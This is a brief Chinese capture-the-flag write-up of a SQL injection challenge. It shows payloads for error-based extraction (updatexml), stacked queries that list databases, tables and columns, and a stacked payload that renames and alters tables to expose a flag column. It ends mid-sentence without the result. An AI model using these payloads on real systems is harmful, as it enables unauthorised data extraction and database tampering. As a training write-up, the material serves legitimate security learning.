首先输入单引号测试 1'
得到是由双引号包裹的
尝试输入恒等式,堆叠注入,显示页面均相同
尝试爆库名 1' and updatexml(1,concat(0x7e,database(),0x7e),1) #
发现select被过滤了,这样联合注入,报错注入,布尔注入,时间注入都没法生效
我们可以尝试堆叠注入
通过堆叠注入获取数据库 1';show databases;
爆出表名 1 ';show tables;
尝试爆出列名 1';show columns from `1919810931114514`; (查询的表名如果全为数字要用反引号)
查询一下另一张表
由于slsect被禁用,查了一下发现可以通过修改表名来实现查询
1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);#
之后使用恒等式 1' or 1=1 # 得到